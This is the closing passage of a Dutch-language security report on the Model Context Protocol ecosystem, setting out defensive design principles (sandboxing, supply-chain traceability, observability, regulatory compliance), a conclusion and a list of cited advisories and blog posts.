• Isolation-First: Ga uit van het ergste (breach) en bouw zo dat schade beperkt blijft. Dus containeriseer alles, zet strenge network policies, deny-by-default. Elke component (LLM, MCP server, plugin) draait in eigen sandbox/microVM zodat compromise niet hele systeem meeneemt. Voorbeeld: Firecracker microVM voor elke untrusted toolserver, locked-down container voor AI agents. Liever iets meer overhead dan een flat trust model waar één lek alles lekt.
• Supply Chain-First: Vertrouw geen code of model die je niet volledig inzichtelijk hebt. Leg volledige traceability vast van alle onderdelen (SBOM, signed artifacts)[103][104]. Integreer security checks vanaf het moment dat code geschreven wordt tot deploy (Shift Left). Kies leveranciers zorgvuldig (voorkeur EU-software als dat soevereiniteit ten goede komt, maar beoordeel ook hun sec posture). Voorbeeld: Maak het standaardproces dat elke nieuwe MCP-tool eerst door security review moet (code audit of vetted library) voordat productiegebruik.
• Observability by Design: Logging, monitoring en auditing moet geen bijzaak zijn maar ingebakken in architectuur. Elk component moet de hooks hebben om events te loggen, metrics te exporteren, traces door te geven. Ontwerp ook dashboards en alerting voordat het systeem live gaat. Zo voorkom je blinde vlekken. Voorbeeld: Definieer voor release van een nieuwe MCP-integratie meteen de Kibana dashboards en Splunk alerts die nodig zijn om het gebruik en misuse te volgen. Test deze ook (chaos eng) voor echte ingebruikname.
• Compliance by Design: Houd rekening met regelgeving en ethiek vanaf de tekentafel. Dit betekent privacy principles (data minimalisatie, consent) integreren in datastromen, toegankelijkheid en fairness in AI beslisroutes (bv. bias checks), en documentatie bijhouden. Voorbeeld: Draai een “shadow audit” parallel aan ontwikkeling: iemand van compliance reviewt ontwerpvoorstellen op AVG/NIS2 impact, in agile refinements voeg je acceptatiecriteria toe zoals “user consent must be captured for this feature” etc. Daarmee voorkom je dure aanpassingen achteraf en boetes.

Door trouw te blijven aan deze principes, creëert men een AI/MCP-architectuur die niet alleen vandaag veilig is, maar ook adaptief en robuust blijft bij komende uitdagingen.

Conclusie: Het MCP-ecosysteem biedt enorme kansen maar komt met evenredige risico’s. Door strategische visie (niveau 1), rigoureuze technische implementatie (niveau 2) en vooruitziende planning (niveau 3) te combineren, kunnen Nederlandse organisaties AI inzetten verantwoord, veilig en conform waarden en wetten. Dit rapport heeft de contouren geschetst van zo’n 360° aanpak – aan de lezer de taak om deze kennis in daden om te zetten. De beloning is niet alleen het voorkomen van incidenten, maar ook het winnen van vertrouwen bij klanten, burgers en toezichthouders in een tijdperk waarin dat meer dan goud waard is.

Bronnen: Deze analyse bouwt voort op kwetsbaarheidsrapporten[40][19], security blogs[10][94], onderzoeksartikelen en frameworks (NIST, OWASP)[78][105], evenals beleidsdocumenten. Alle specifieke feiten, cijfers en voorbeelden zijn voorzien van referenties.

[1] [3] [4] [7] [10] [20] [21] [23] [26] [31] [84] MCP Horror Stories: The Supply Chain Attack | Docke

[2] [5] [6] MCP Security Issues Threatening AI Infrastructure | Docker

[8] [9] [11] [12] [13] [22] [57] [69] [100] Critical mcp-remote Vulnerability Enables Remote Code Execution, Impacting 437,000+ Downloads

https://thehackernews.com/2025/07/critical-mcp-remote-vulnerability.html

[14] [15] [55] [70] [71] [78] [79] [80] [101] [102] The Security Risks of Model Context Protocol (MCP)

https://www.pillar.security/blog/the-security-risks-of-model-context-protocol-mcp

[16] [17] [18] [19] [24] [25] [27] [36] [37] [38] [39] [40] [41] [42] [43] [44] [45] [46] [47] [48] [49] [50] [51] [52] [53] [58] [59] [62] [63] [83] CVE-2025-6514 Threatens LLM clients

[28] [29] [32] [33] [34] [35] [56] [64] [65] [66] [67] [68] [94] [97] [98] Threat Research: Hundreds of MCP Servers Vulnerable to Abuse – Backslash

https://www.backslash.security/blog/hundreds-of-mcp-servers-vulnerable-to-abuse

[30] MCP is a powerful new AI coding technology: Understand the risks

https://www.reversinglabs.com/blog/mcp-powerful-ai-coding-risk

[54] [60] [61] [103] [104] CVE-2025-6514: mcp-remote OS Command Injection Vulnerability 

https://vulert.com/vuln-db/CVE-2025-6514

[72] [73] [74] [75] [76] [77] [81] [82] Authorization – Model Context Protocol

https://modelcontextprotocol.io/specification/draft/basic/authorization

[85] [86] [87] [88] [89] [90] [91] [92] [93] Kubernetes Security Best Practices Part 3: Security Context

https://www.dynatrace.com/news/blog/kubernetes-security-best-practices-security-context

[95] About pod security standards and warnings

https://learn.redhat.com/t5/DO280-Red-Hat-OpenShift/About-pod-security-standards-and-warnings/td-p/32502

[96] How allowPrivilegeEscalation works in Kubernetes | by Nick Gibbon

https://medium.com/pareture/how-allowprivilegeescalation-works-in-kubernetes-ce696494f87b

[99] Understanding the threat landscape for MCP and AI workflows

https://redcanary.com/blog/threat-detection/mcp-ai-workflows

[105] Top 10 MCP Security Risks You Need to Know – Prompt Security

https://www.prompt.security/blog/top-10-mcp-security-risks